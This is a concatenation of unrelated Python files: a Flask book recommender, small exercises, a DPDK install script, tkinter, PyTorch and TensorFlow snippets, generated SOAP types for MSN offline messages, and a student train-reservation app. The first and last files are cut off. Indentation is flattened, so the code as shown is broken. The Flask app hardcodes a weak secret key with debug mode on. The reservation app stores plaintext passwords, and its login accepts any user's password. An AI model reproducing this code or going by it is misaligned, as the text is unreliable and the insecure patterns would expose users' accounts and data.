makepredictions_output(newfile,ratingslist,ratings): new_user_id = ratings.user_id.nunique()+1 # turns the ratinglist into the same format as smallerratings df = pd.DataFrame(ratingslist) # adds the user ratings in ratinglist to the smallerratings database to make a new dataset new_smaller_ratings = smallerratings.append(df,ignore_index = True) reader = Reader(rating_scale=(1,5)) # creates a new matrix using the user_id, book_id, and rating from the new_smaller_ratings dataset new_data = Dataset.load_from_df(new_smaller_ratings[['user_id', 'book_id', 'rating']],reader) # loads the best algorithm _, best_svd = dump.load(newfile) # applies it to the dataset best_svd.fit(new_data.build_full_trainset()) # creates the predicted ratings for the user for all the books predictionlist = [] for book_id in new_smaller_ratings['book_id'].unique(): predictionlist.append((book_id,best_svd.predict(new_user_id, book_id)[3])) # no of recommendations that the user wants num_rec = 5 # ranks the predictions from highest rating to lowest ranked_predictions = sorted(predictionlist, key=lambda x:x[1], reverse=True) # list of recommended titles that I can return as an array, I'll then be able to output them individually # in the html recommended_titles_list = [] #iterates through the loop to output the top n recommendations for idx, rec in enumerate(ranked_predictions): # gets the title of each book title = books.loc[books['book_id'] == int(rec[0])]['title'] # creates a string of Recommendation no. [title] for each book recommended_title = 'Recommendation # ', idx+1, ': ', title, '\n' # adds each recommended title to an array recommended_titles_list.append(recommended_title) num_rec-= 1 if num_rec == 0: break return recommended_titles_list newfile = createbestalgorithm(data) # route to the homepage @app.route('/') @app.route('/home', methods=['GET', 'POST']) def index(): # gets the list of random books the user needs to rate ratingbooks = makepredictions_generate_rating_books(num_ratings, smallerbooks) print(ratingbooks) # returns just the title of each book and stores it in a list ratingbookdict = {} for i in range(0, len(ratingbooks)): x = str(ratingbooks[i][0][0]) y = ratingbooks[i][0][1] ratingbookdict[x] = y print(ratingbookdict) # creates a class for the object of the ratingform class RatingForm(BaseFormTemplate): pass # create a submit button for the form RatingForm.submit = SubmitField('submit') # create a text field for each title in the ratingbooktitlelist, so the user can input their rating for key in ratingbookdict: setattr(RatingForm, key, StringField(ratingbookdict[key])) # create an object of the form class to create the form for the HTML form = RatingForm() # checks if the form has been submitted if form.is_submitted(): # returns a dictionary with the keys being the variable names of the form's fields, and the values being the user input # for the fields result = request.form.to_dict() # removes unnecessary fields, so that only the keys which are book ids remain result.pop('csrf_token') result.pop('submit') # a loop to create a dictionary for each book and rating to be able to add to a list new_user_id = ratings.user_id.nunique()+1 i = 0 ratingslist = [] for key in result: user_rating = { 'user_id': new_user_id, 'book_id': int(key),'rating':result[key]} ratingslist.append(user_rating) # gets the list of rating dictionaries to run the prediction algorithm on using this function # creates the output list, which can be passed onto a html template to be displayed #recommended_title_list = makepredictions_output(newfile, ratingslist,ratings) #print(recommended_title_list) return render_template('index.html', form = form , variable = ratingbooks) @app.route('/next') def next(): return render_template('next.html') @app.route('/discover') def discover(): cur = mysql.connection.cursor() cur.execute("SELECT * FROM books LIMIT 10") fetchdata = cur.fetchall() cur.close() return render_template('discover.html', data= fetchdata) if __name__ == "__main__": app.config['SECRET_KEY'] = '12345' app.run(debug=True)
n = -1 max = 0 quantity = 0 while n != 0: n = int(input()) if n > max: max = n quantity = 1 elif n == max: quantity += 1 print(quantity)
#!/usr/bin/env python3 # Amir Refai import readline from termcolor import colored def calculate(arg): stack = [] tokens = arg.split() for token in tokens: try: stack.append(int(token)) except ValueError: val2 = stack.pop() val1 = stack.pop() if token == '+': result = val1 + val2 elif token == '-': result = val1 - val2 elif token == '^': result = val1**val2 elif token == '%': result = val1 % val2 stack.append(result) if len(stack) > 1: raise ValueError("Too many arguments on the stack") return stack[0] def main(): while True: try: text_in = input("rpn calc> ") result = calculate(text_in) string = "" for token in text_in.split(): if token == "+" or token == "-" or token == "^" or token=="%": string += colored(token, 'magenta') + " " else: string += colored(token, 'red') + " " print(string) print(result) except ValueError: pass if __name__ == "__main__": main()
import sys import os from subprocess import Popen, PIPE import subprocess from shlex import split # 1. install develop library #vi /etc/udev/rules.d/70-persistent-ipoib.rules def installLibrary(): print( "##### install dev tools #####") os.system("sudo yum -y groupinstall \"Development Tools\"") print( "##### install libpcap #####") os.system("sudo yum -y install libpcap-devel") print( "##### update #####") os.system("sudo yum -y update") #main print("###############################") print("# Setup DPDK #") print("###############################") installLibrary()
import tkinter import tkinter.messagebox as messagebox # 窗口 root = tkinter.Tk() ''' x: 相当于是 * ,生活中:500*500 宽度500 高度500 400x300: 窗口的高度为400,高度为300 +400: 窗口距离屏幕最左边400,如果是-400的话,说明窗口距离屏幕最右边400 +300:窗口距离屏幕最上边300,如果是-300的话,说明窗口距离屏幕最下边300 ''' root.geometry("400x300+400+300") ''' 这个是窗口的标题 ''' root.title("第一个GUI程序") ''' 得到一个按钮, 光得到按钮不行啊,你得把按钮给放到窗口里, 所以要调用Button(root),这就是把按钮给放到窗口里,这样窗口就会显示按钮了 ''' bottom = tkinter.Button(root) ''' 给按钮添加名称 ''' bottom['text'] = "点击我就送花" ''' 压缩按钮,如果不调用该方法来压缩按钮的话,那么整个窗口就是一个按钮,这样肯定是不行的 所以,调用了pack()方法来压缩按钮后,按钮就会变成一个小按钮,而不是跟窗口一样大 ''' bottom.pack() ''' 给按钮添加事件:送花 ps:按钮不需要添加点击事件,点击事件,python自动添加了,就在mainloop()事件循环里 ''' def songhua(e): # 按钮被鼠标单机左键 点击后,弹出一个信息窗口:内容是:"送你一朵花" 窗口主题是:"message" messagebox.showinfo("message", "送你一朵花") # 当窗口点击了按钮后, 后台就会打印一条 "送花了" 的信息,方便我们后台查看 print("送花了") ''' 窗口 绑定事件:这里是绑定了按钮 <Button-1> 表示的是:按钮会在鼠标左键点击后触发事件 ''' root.bind('<Button-1>', songhua) root.mainloop() # 事件循环, 它就是是一个窗口, 窗口里全部都是时间,比如鼠标左键点击按钮会触发事件....
import torch.nn as nn class LayerLinearRegression(nn.Module): def __init__(self): super().__init__() # Instead of our custom parameters, we use a Linear layer with single input and single output self.linear = nn.Linear(1, 1) def forward(self, x): # Now it only takes a call to the layer to make predictions return self.linear(x)
# # Created by OFShare on 2019-11-15 # # This script tests speed of frozen pb and tflite model # Usage: # 1. run frozen pb: # python benchmark.py --model models/input.pb --batch_size 1 --height 320 --width 320 1> log.std 2> log.err & # 2. run tflite: # python benchmark.py --model models/input.tflite 1> log.std 2> log.err & import tensorflow as tf import tensorflow.contrib.tensorrt as trt import cv2, time, sys import numpy as np import glog as logging import os os.environ["CUDA_VISIBLE_DEVICES"] = "0, 1, 2, 3, 4" import argparse parser = argparse.ArgumentParser() parser.add_argument('--model', default='input.pb', help = 'model path, tflite or pb graph') parser.add_argument('--batch_size', default=1, type = int, help = 'batch size') parser.add_argument('--height', default=224, type = int, help = 'image height') parser.add_argument('--width', default=224, type = int, help = 'image width') args = parser.parse_args() class Benchmark: def __init__(self): self._is_tflite = args.model.split('.')[-1] == 'tflite' model_path = args.model if not self._is_tflite: logging.info('load frozen pb graph') with tf.gfile.GFile(model_path, 'rb') as f: graph_def = tf.GraphDef() graph_def.ParseFromString(f.read()) graph = tf.Graph() with graph.as_default(): tf.import_graph_def(graph_def, name='') self.input_image = graph.get_tensor_by_name('image_tensor:0') self.output_ops = [ graph.get_tensor_by_name('num:0'), ] # gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction = 0.67) # config = tf.ConfigProto(allow_soft_placement = True, log_device_placement = False, gpu_options = gpu_options) config = tf.ConfigProto(allow_soft_placement = True, log_device_placement = False) self._sess = tf.Session(graph=graph, config = config) else: logging.info('load tflite graph') # Load TFLite model and allocate tensors. self._interpreter = tf.lite.Interpreter(model_path=model_path) self._interpreter.allocate_tensors() # Get input and output tensors. self._input_details = self._interpreter.get_input_details() self._output_details = self._interpreter.get_output_details() def __call__(self): # Test model on random input data. if not self._is_tflite: dummy_input = np.random.random_sample((args.batch_size, args.height, args.width, 3)) while True: start = time.time() out = self._sess.run(self.output_ops, feed_dict={self.input_image: dummy_input}) end = time.time() print("### frozen pb inference time: ", end - start , " seconds") else: input_shape = self._input_details[0]['shape'] dummy_input = np.array(np.random.random_sample(input_shape), dtype = np.float32) while True: self._interpreter.set_tensor(self._input_details[0]['index'], dummy_input) start = time.time() self._interpreter.invoke() end = time.time() print("### tflite inference time: ", end - start , " seconds") if __name__ == '__main__': model = Benchmark() model()
# Xatamjonov Ulugbek # 2021-01-07 / 14:26 # Dasturlash asoslari # 6-dars Sonlar # Amaliyot #1 # Foydalanuvchi kiritgan istalgan sonnni kubi va kvadratini konsulga chiqaruvchi dastur tuzing: # 1-usul i_son=int(input( "Istalgan sonni kiriting. Biz uni Kvadratga va kubga ko'taramiz: ")) kv=(i_son**2) kb=(i_son**3) print(i_son) print("Siz kiritgan sonning kvadrati : " + str(kv) + " ga, " + " kubi esa " + str(kb) +" ga teng ") # # 2-usul a=int(input( "Istalgan sonni kiriting. Biz uni Kvadratga va kubga ko'taramiz: ")) print("Siz kiritgan sonning kvadrati : ", a**2 ," ga, " ," kubi esa " , a**3 ," ga teng ") #2 # Foydalanuvchidan uning yoshini so'rab , tug'ilgan yilini konsulga chiqarib beruvchi dastuz tuzing : t_yosh=int(input("Yoshingiz nechida ?")) t_yil=(2021-t_yosh) print("Siz", str(t_yil) , "-yilda tug'ilgansiz.") # #3 #Foydalanuvchidan ikki son kiritishini so'rab , kiritilgan sonlarning yig'indisi,airmasi,ko'paytmasi va bo'linmasini chiqaruvchi dastuz tuzing. a=float(input("Birinchi son 'a' ni kiriting:")) b=float(input("Ikkinchi son 'b' ni kiriting:")) print("a+b=" , a+b ) print("a-b=" , a-b ) print("a*b=" , a*b ) print("a/b=" , a/b ) # Yakunlandi
#!/usr/bin/env python from operator import add from util import primes if __name__ == "__main__": target = 2000000 primes_lt_target = primes.filter_lt(target) print reduce(add, primes_lt_target)
################################################## # file: OIMStoreService_types.py # # schema types generated by "ZSI.generate.wsdl2python.WriteServiceModule" # D:\workspace\digsby\Digsby.py --no-traceback-dialog --multi --server=api5.digsby.org # ################################################## import ZSI import ZSI.TCcompound from ZSI.schema import LocalElementDeclaration, ElementDeclaration, TypeDefinition, GTD, GED from ZSI.generate.pyclass import pyclass_type import ZSI.wstools.Namespaces as NS from msn.SOAP import Namespaces as MSNS ############################## # targetNamespace # http://messenger.msn.com/ws/2004/09/oim/ ############################## class oim: targetNamespace = MSNS.HMNS.OIM class StoreResultType_Def(ZSI.TCcompound.ComplexType, TypeDefinition): schema = MSNS.HMNS.OIM type = (schema, "StoreResultType") def __init__(self, pname, ofwhat=(), attributes=None, extend=False, restrict=False, **kw): ns = oim.StoreResultType_Def.schema TClist = [ZSI.TCnumbers.Iinteger(pname=(ns,"PointsConsumed"), aname="_PointsConsumed", minOccurs=1, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded"))] self.attribute_typecode_dict = attributes or {} if extend: TClist += ofwhat if restrict: TClist = ofwhat ZSI.TCcompound.ComplexType.__init__(self, None, TClist, pname=pname, inorder=0, **kw) class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass self._PointsConsumed = None return Holder.__name__ = "StoreResultType_Holder" self.pyclass = Holder class AuthenticationFailedType_Def(ZSI.TCcompound.ComplexType, TypeDefinition): schema = MSNS.HMNS.OIM type = (schema, "AuthenticationFailedType") def __init__(self, pname, ofwhat=(), attributes=None, extend=False, restrict=False, **kw): ns = oim.AuthenticationFailedType_Def.schema TClist = [ZSI.TC.AnyType(pname=(ns,"faultcode"), aname="_faultcode", minOccurs=1, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded")), GTD(MSNS.HMNS.OIM,"detailType",lazy=False)(pname=(ns,"detail"), aname="_detail", minOccurs=1, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded")), ZSI.TC.String(pname=(ns,"faultstring"), aname="_faultstring", minOccurs=1, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded")), ZSI.TC.String(pname=(ns,"faultactor"), aname="_faultactor", minOccurs=1, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded"))] self.attribute_typecode_dict = attributes or {} if extend: TClist += ofwhat if restrict: TClist = ofwhat ZSI.TCcompound.ComplexType.__init__(self, None, TClist, pname=pname, inorder=0, **kw) class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass self._faultcode = None self._detail = None self._faultstring = None self._faultactor = None return Holder.__name__ = "AuthenticationFailedType_Holder" self.pyclass = Holder class detailType_Def(ZSI.TCcompound.ComplexType, TypeDefinition): schema = MSNS.HMNS.OIM type = (schema, "detailType") def __init__(self, pname, ofwhat=(), attributes=None, extend=False, restrict=False, **kw): ns = oim.detailType_Def.schema TClist = [ZSI.TC.String(pname=(ns,"TweenerChallenge"), aname="_TweenerChallenge", minOccurs=0, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded")), ZSI.TC.String(pname=(ns,"LockKeyChallenge"), aname="_LockKeyChallenge", minOccurs=0, maxOccurs=1, nillable=False, typed=False, encoded=kw.get("encoded"))] self.attribute_typecode_dict = attributes or {} if extend: TClist += ofwhat if restrict: TClist = ofwhat ZSI.TCcompound.ComplexType.__init__(self, None, TClist, pname=pname, inorder=0, **kw) class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass self._TweenerChallenge = None self._LockKeyChallenge = None return Holder.__name__ = "detailType_Holder" self.pyclass = Holder class From_Dec(ZSI.TCcompound.ComplexType, ElementDeclaration): literal = "From" schema = MSNS.HMNS.OIM def __init__(self, **kw): ns = oim.From_Dec.schema TClist = [] kw["pname"] = (MSNS.HMNS.OIM,"From") kw["aname"] = "_From" self.attribute_typecode_dict = {} ZSI.TCcompound.ComplexType.__init__(self,None,TClist,inorder=0,**kw) # attribute handling code self.attribute_typecode_dict["memberName"] = ZSI.TC.String() self.attribute_typecode_dict["friendlyName"] = ZSI.TC.String() self.attribute_typecode_dict[(NS.XMLNS.XML,"lang")] = ZSI.TC.AnyType() self.attribute_typecode_dict["proxy"] = ZSI.TC.String() self.attribute_typecode_dict["msnpVer"] = ZSI.TC.String() self.attribute_typecode_dict["buildVer"] = ZSI.TC.String() class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass return Holder.__name__ = "From_Holder" self.pyclass = Holder class To_Dec(ZSI.TCcompound.ComplexType, ElementDeclaration): literal = "To" schema = MSNS.HMNS.OIM def __init__(self, **kw): ns = oim.To_Dec.schema TClist = [] kw["pname"] = (MSNS.HMNS.OIM,"To") kw["aname"] = "_To" self.attribute_typecode_dict = {} ZSI.TCcompound.ComplexType.__init__(self,None,TClist,inorder=0,**kw) # attribute handling code self.attribute_typecode_dict["memberName"] = ZSI.TC.String() class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass return Holder.__name__ = "To_Holder" self.pyclass = Holder class Ticket_Dec(ZSI.TCcompound.ComplexType, ElementDeclaration): literal = "Ticket" schema = MSNS.HMNS.OIM def __init__(self, **kw): ns = oim.Ticket_Dec.schema TClist = [] kw["pname"] = (MSNS.HMNS.OIM,"Ticket") kw["aname"] = "_Ticket" self.attribute_typecode_dict = {} ZSI.TCcompound.ComplexType.__init__(self,None,TClist,inorder=0,**kw) # attribute handling code self.attribute_typecode_dict["passport"] = ZSI.TC.String() self.attribute_typecode_dict["appid"] = ZSI.TC.String() self.attribute_typecode_dict["lockkey"] = ZSI.TC.String() class Holder: __metaclass__ = pyclass_type typecode = self def __init__(self): # pyclass return Holder.__name__ = "Ticket_Holder" self.pyclass = Holder class StoreResponse_Dec(ElementDeclaration): literal = "StoreResponse" schema = MSNS.HMNS.OIM substitutionGroup = None def __init__(self, **kw): kw["pname"] = (MSNS.HMNS.OIM,"StoreResponse") kw["aname"] = "_StoreResponse" if oim.StoreResultType_Def not in oim.StoreResponse_Dec.__bases__: bases = list(oim.StoreResponse_Dec.__bases__) bases.insert(0, oim.StoreResultType_Def) oim.StoreResponse_Dec.__bases__ = tuple(bases) oim.StoreResultType_Def.__init__(self, **kw) if self.pyclass is not None: self.pyclass.__name__ = "StoreResponse_Dec_Holder" class AuthenticationFailed_Dec(ElementDeclaration): literal = "AuthenticationFailed" schema = MSNS.HMNS.OIM substitutionGroup = None def __init__(self, **kw): kw["pname"] = (MSNS.HMNS.OIM,"AuthenticationFailed") kw["aname"] = "_AuthenticationFailed" if oim.AuthenticationFailedType_Def not in oim.AuthenticationFailed_Dec.__bases__: bases = list(oim.AuthenticationFailed_Dec.__bases__) bases.insert(0, oim.AuthenticationFailedType_Def) oim.AuthenticationFailed_Dec.__bases__ = tuple(bases) oim.AuthenticationFailedType_Def.__init__(self, **kw) if self.pyclass is not None: self.pyclass.__name__ = "AuthenticationFailed_Dec_Holder" class MessageType_Dec(ZSI.TC.String, ElementDeclaration): literal = "MessageType" schema = MSNS.HMNS.OIM def __init__(self, **kw): kw["pname"] = (MSNS.HMNS.OIM,"MessageType") kw["aname"] = "_MessageType" ZSI.TC.String.__init__(self, **kw) class IHolder(str): typecode=self self.pyclass = IHolder IHolder.__name__ = "_MessageType_immutable_holder" class Content_Dec(ZSI.TC.String, ElementDeclaration): literal = "Content" schema = MSNS.HMNS.OIM def __init__(self, **kw): kw["pname"] = (MSNS.HMNS.OIM,"Content") kw["aname"] = "_Content" class IHolder(str): typecode=self kw["pyclass"] = IHolder IHolder.__name__ = "_Content_immutable_holder" ZSI.TC.String.__init__(self, **kw) # end class oim (tns: http://messenger.msn.com/ws/2004/09/oim/)
#CS 4400 Phase III Source Code #Members - Mario Wijaya, Masud Parvez, Ousmane Kaba, Wenlu Fu #Demo date/time: Tuesday 4/26/2016 2:15pm - 3:00pm #Team #23 #We worked on this project only using stackoverflow.com and this semester's course materials. from tkinter import * import random import csv import re import urllib.request import time import datetime from operator import itemgetter import copy import statistics import pymysql class Phase3: def __init__(self, rootWin): self.ResDict={"Train ":["##","##"]," Time (Duration) ":["##", "##"]," Departs From ":[" ## "," ## "], " Arrives at ":[" ## "," ## "], " Class ":[" ## "," ## "]," Price ":[" $$ "," $$ "]," #of Baggage ":[" ## "," ## "], " Passenger Name ":[" ## "," ## "]} ##self.ResDict will keep track of #of reservation made and all the other information regarding to the resevation like time, price etc: self.LoginPage() self.NumberOfReservation=1 self.pricebagbag = 0 self.totalCostCost = 0 self.currentselection = [] self.masud=0 self.trackManFunc=0 self.checkDupTrain=[] def LoginPage(self): #Login page rootWin.title("GTTrain.com") self.loginLab = Label(rootWin, text = "Login") self.loginLab.grid(row = 1, column = 4, columnspan = 4, sticky = EW) self.userLab = Label(rootWin, text = "Username") self.userLab.grid(row = 2, column = 0, sticky = E) self.userEntry = Entry(rootWin, width = 30) self.userEntry.grid(row = 2, column = 4, sticky = W) self.passLab = Label(rootWin, text = "Password") self.passLab.grid(row = 4, column = 0, sticky = E) self.passEntry = Entry(rootWin, width = 30) self.passEntry.grid(row = 4, column = 4, sticky = W) self.loginBut = Button(rootWin, text = "Login", padx = 10, command = self.LoginCheck) #command to be put in self.loginBut.grid(row = 6, column = 0, sticky = E) self.registerBut = Button(rootWin, text = "Register", padx = 10, command = self.RegisterPage) #command to be put in self.registerBut.grid(row = 6, column = 4, sticky = W) def Connect(self): #connect to database try: self.db = pymysql.connect(host = 'YOURHOST', passwd = 'PASSWORD', user = 'USERNAME', db='DATABASE') self.a1 = True return self.db except: messagebox.showerror("Error", "Check your internet connection") self.a1 = False def RegisterPage(self): #New User Registration Page rootWin.withdraw() self.register = Toplevel(rootWin) self.register.title("GTtrain.com Register Page") self.newUserLab = Label(self.register, text = "New User Registration") self.newUserLab.grid(row = 1, column = 4, columnspan = 6, sticky = W) self.usernameLab = Label(self.register, text = "Username") self.usernameLab.grid(row = 3, column = 1, sticky = E) self.usernameEntry = Entry(self.register, width = 30) self.usernameEntry.grid(row = 3, column = 3, sticky = E) self.emailLab = Label(self.register, text = "Email Address") self.emailLab.grid(row = 5, column = 1, sticky = E) self.emailEntry = Entry(self.register, width = 30) self.emailEntry.grid(row = 5, column = 3, sticky = E) self.newpassLab = Label(self.register, text = "Password") self.newpassLab.grid(row = 7, column = 1, sticky = E) self.newpassEntry = Entry(self.register, width = 30) self.newpassEntry.grid(row = 7, column = 3, sticky = E) self.conpassLab = Label(self.register, text = "Confirm Password") self.conpassLab.grid(row = 9, column = 1, sticky = E) self.conpassEntry = Entry(self.register, width = 30) self.conpassEntry.grid(row = 9, column = 3, sticky = E) self.createBut = Button(self.register, text = "Create", padx = 10, command = self.RegisterNew) self.createBut.grid(row = 11, column = 3, sticky = EW) def RegisterNew(self): self.Connect() self.usernameDB = [] self.usernameDBlower = [] self.listCheck = [] self.emailDB = [] self.emailDBlower = [] self.Connect() #connect to database cursor2 = self.db.cursor() sql_custcust = '''SELECT C_Username, Email FROM Customer''' cursor2.execute(sql_custcust) for each in cursor2: self.usernameDB.append(each[0]) #Grab all the username from database self.emailDB.append(each[1]) #Grab all the email from database for i in range(len(self.emailDB)): self.emailDBlower.append(self.emailDB[i].lower()) #convert all email from database to lowercase for i in range(len(self.usernameDB)): self.usernameDBlower.append(self.usernameDB[i].lower()) #convert all Customer username from Database to lowercase if self.usernameEntry.get().lower() not in self.usernameDBlower: #check customer username to database self.listCheck.append(1) else: self.listCheck.append(2) messagebox.showerror("Error", "Username already exists") if self.newpassEntry.get() == self.conpassEntry.get(): #check if user input same password and confirm password self.listCheck.append(1) else: self.listCheck.append(2) messagebox.showerror("Error", "Password do not match, please try again") regexgex = re.findall('[^@]+@[^@]+\.[^@]+',self.emailEntry.get()) if self.emailEntry.get() not in self.emailDBlower and len(regexgex) != 0: #Check email against database self.listCheck.append(1) if '.edu' in self.emailEntry.get(): #to check whether the email is student or not self.studentCheck = '1' else: self.studentCheck = '0' else: self.listCheck.append(2) messagebox.showerror("Error", "Email already exists in database or incorrect email input") if len(self.usernameEntry.get()) != 0 and len(self.newpassEntry.get()) != 0 and len(self.conpassEntry.get()) != 0 and len(self.emailEntry.get()) != 0: #check if any field is empty self.listCheck.append(1) else: self.listCheck.append(2) messagebox.showerror("Error", "Reinput any blank field") sql_insertEverything = '''INSERT INTO Customer(C_Username, C_Password, Email, Is_student) VALUES (%s, %s, %s, %s)''' #insert customer to table "Customer" if sum(self.listCheck) == 4: #check if information provided on gui is correct self.Connect() cursor = self.db.cursor() cursor.execute(sql_insertEverything, (self.usernameEntry.get(), self.newpassEntry.get(), self.emailEntry.get(), self.studentCheck)) #execute to database self.register.withdraw() #go back to login page from registration page rootWin.deiconify() def LoginCheck(self): #reserve for functionality self.Connect() if self.a1 == True: cursor = self.db.cursor() cursor1 = self.db.cursor() self.custUsername = [] self.custPassword = [] self.manUsername = [] self.manPassword = [] sql_custall = '''SELECT C_Username,C_Password FROM Customer''' #sql to get Customer Username and Password sql_manall = '''SELECT M_Username, M_Password FROM Manager''' #sql to get Manager Username and Password cursor.execute(sql_custall) cursor1.execute(sql_manall) for each in cursor: #store Customer username and password self.custUsername.append(each[0]) self.custPassword.append(each[1]) for each in cursor1: #Store manager username and password self.manUsername.append(each[0]) self.manPassword.append(each[1]) self.userLog = self.userEntry.get() #to grab username that is typed on login entry self.passLog = self.passEntry.get() #to grab password that is typed on password entry if self.userLog in self.custUsername and self.passLog in self.custPassword: messagebox.showinfo(title = "Success", message = "You logged in successfully") rootWin.withdraw() self.custFunc() elif self.userLog in self.manUsername and self.passLog in self.manPassword: messagebox.showinfo(title = "Success", message = "You logged in successfully") rootWin.withdraw() self.ManagerFunc() else: messagebox.showerror("Error", "Unrecognizable Username/Password Combinations") def custFunc(self): #customer functionality self.chofunc = Toplevel(rootWin) self.cholab = Label(self.chofunc, text = "Choose Functionality") self.cholab.grid(row = 1, column = 1, columnspan = 8, sticky = E) self.viewtrain = Button(self.chofunc, text = "View Train Schedule", command=self.viewTrain) #proceed to view train self.viewtrain.grid(row = 2, column = 1, columnspan = 2, sticky = E) self.newreserve = Button(self.chofunc, text = "Make a new reservation", command = self.reservation) #proceed to reservation self.newreserve.grid(row = 3, column = 1, columnspan = 2, sticky = E) self.updateRev = Button(self.chofunc, text = "Update a reservation", command=self.UpdateReservation) #proceed to update self.updateRev.grid(row = 4, column = 1, columnspan = 2, sticky = E) self.cancelRev = Button(self.chofunc, text = "Cancel a reservation", command=self.CancelReservation) # proceed to cancel self.cancelRev.grid(row = 5, column = 1, columnspan = 2, sticky = E) self.giveRev = Button(self.chofunc, text = "Give review", command=self.GiveReview) #proceed to give review self.giveRev.grid(row = 6, column = 1, columnspan = 2, sticky = E) self.addSchool = Button(self.chofunc, text = "Add school Information(student discount)", command=self.addSchoolInfo) #proceed to add school info self.addSchool.grid(row = 7, column = 1, columnspan = 2, sticky = E) self.viewRev1 = Button(self.chofunc, text = "View Review", command = self.ViewReview) self.viewRev1.grid(row = 8, column = 1, columnspan = 2, sticky = E) self.logoutbut = Button(self.chofunc, text = "Log out", command=self.LogOutCust) self.logoutbut.grid(row = 10, column = 3, sticky = EW) def addSchoolInfo(self): #add school info window self.chofunc.withdraw() self.schoolInfo = Toplevel(rootWin) self.schoollab = Label(self.schoolInfo, text = "Add School Info") self.schoollab.grid(row = 1, column =1, sticky = W) self.schoolent = Entry(self.schoolInfo, width = 30) self.schoolent.grid(row = 1, column = 2, sticky = E) self.edulab = Label(self.schoolInfo, text = "Your school email address ends with .edu") self.edulab.grid(row = 2, column = 1, sticky = W) self.backChofunc = Button(self.schoolInfo, text = "Back", padx = 10, command = self.backSchool) #command to go back custFunc self.backChofunc.grid(row = 4, column = 1, sticky = E) self.subChofunc = Button(self.schoolInfo, text = "Submit", padx = 10, command = self.subSchool) #command back to custFunc self.subChofunc.grid(row = 4, column = 2, sticky = E) def backSchool(self): #back to customer functionality self.schoolInfo.withdraw() self.chofunc.deiconify() def subSchool(self): #submit school info self.schoolInfo.withdraw() if '.edu' in self.schoolent.get(): #to check whether the email is student or not self.studentCheck = '1' else: self.studentCheck = '0' self.Connect() cursor = self.db.cursor() sql_updateSchool = '''UPDATE Customer SET Is_student = %s WHERE C_Username= %s ''' cursor.execute(sql_updateSchool,(self.studentCheck,self.userLog)) self.chofunc.deiconify() def viewTrain(self): #View train schedule window self.chofunc.withdraw() self.trainSch = Toplevel(rootWin) self.viewtralab = Label(self.trainSch, text = "View Train Schedule") self.viewtralab.grid(row = 1, column = 1, columnspan = 2, sticky = EW) self.trainNum = Label(self.trainSch, text = "Train Number") self.trainNum.grid(row = 2, column = 1, sticky = E) self.trainEnt = Entry(self.trainSch, width = 50) self.trainEnt.grid(row = 2, column = 2, sticky = W) self.searchBut = Button(self.trainSch, text = "Search", padx = 10, command=self.viewTrain2) #command to view train schedule self.searchBut.grid(row = 5, column = 1, sticky = E) backchoho = Button(self.trainSch, text = "Back", padx = 10, command=self.backchohofunc) backchoho.grid(row = 5, column = 2, sticky = E) def backchohofunc(self): self.trainSch.withdraw() self.chofunc.deiconify() def viewTrain2(self): self.trainSch.withdraw() self.trainSch2 = Toplevel(rootWin) self.stationInfo = [] self.totTrainNum = [] self.stationInfo1 = [] self.Connect() sql_getTrainSchedule = '''SELECT * FROM TrainStopStation WHERE TrainNumber = %s''' #sql to get train schedule sql_getTrainNumber = '''SELECT DISTINCT TrainNumber FROM TrainStopStation''' #to get all train number from database cursor1 = self.db.cursor() cursor1.execute(sql_getTrainNumber) for each in cursor1: self.totTrainNum.append(each[0]) if int(self.trainEnt.get()) not in self.totTrainNum: messagebox.showerror("Error", "Train Number does not exist") self.trainSch2.withdraw() self.viewTrain() else: cursor = self.db.cursor() cursor.execute(sql_getTrainSchedule, (self.trainEnt.get())) #execute sql statement to get all train schedule info for each in cursor: self.stationInfo.append([each[1],each[2],each[3]]) #contain all info for view train schedule viewtralab = Label(self.trainSch2, text = "View Train Schedule") viewtralab.grid(row = 1, column = 1, columnspan=8, sticky = EW) aList=["Train","Arrival Time", "Departure Time", "Station"] for i in range(4): Lab=Label(self.trainSch2, text=aList[i]) Lab.grid(row=2, column=1+i, sticky=W) self.trainlablab = Label(self.trainSch2, text = self.trainEnt.get()) self.trainlablab.grid(row = 3, column = 1, sticky = W) for i in range(len(self.stationInfo)): stationlab = Label(self.trainSch2, text=self.stationInfo[i][0]) stationlab.grid(row=3+i, column = 4, sticky=W) arrivallab = Label(self.trainSch2, text = self.stationInfo[i][1]) arrivallab.grid(row=3+i, column = 2, sticky=W) departurelab = Label(self.trainSch2, text = self.stationInfo[i][2]) departurelab.grid(row=3+i, column = 3, sticky=W) back = Button(self.trainSch2, text="Back", command=self.backtrainSch) back.grid(row=4+len(self.stationInfo), column = 1, sticky = W) def backtrainSch(self): self.trainSch2.withdraw() self.trainSch.deiconify() self.trainEnt.delete(0,'end') def reservation(self): #Make a reservation window self.chofunc.withdraw() self.newRev = Toplevel(rootWin) self.searchTrain = Label(self.newRev, text = "Search Train") self.searchTrain.grid(row = 1, column = 1, columnspan = 2, sticky = EW) self.depFrom = Label(self.newRev, text = "Departs From") self.depFrom.grid(row = 2, column = 1, sticky = W) self.nameLoc = [] self.Connect() self.lst1 = [] self.lsttemp1 = [] self.lsttemp2 = [] cursor = self.db.cursor() sql_getStation = '''SELECT Name, Location FROM Station''' #to grab all the departs from and arrives at cursor.execute(sql_getStation) for each in cursor: self.nameLoc.append([each[0],each[1]]) for i in range(len(self.nameLoc)): #to put row of name location to self.lst1 self.lsttemp1.append(self.nameLoc[i][0]) self.lsttemp2.append(self.nameLoc[i][1]) for i in range(len(self.lsttemp1)): self.lst1.append(self.lsttemp1[i] + "("+self.lsttemp2[i] + ")") self.var1 = StringVar() self.drop1 = OptionMenu(self.newRev, self.var1, *self.lst1) self.drop1.grid(row = 2, column = 2, sticky = E) self.lst2 = copy.deepcopy(self.lst1) self.arrAt = Label(self.newRev, text = "Arrives At") self.arrAt.grid(row = 3, column = 1, sticky = W) self.var2 = StringVar() self.drop2 = OptionMenu(self.newRev, self.var2, *self.lst2) 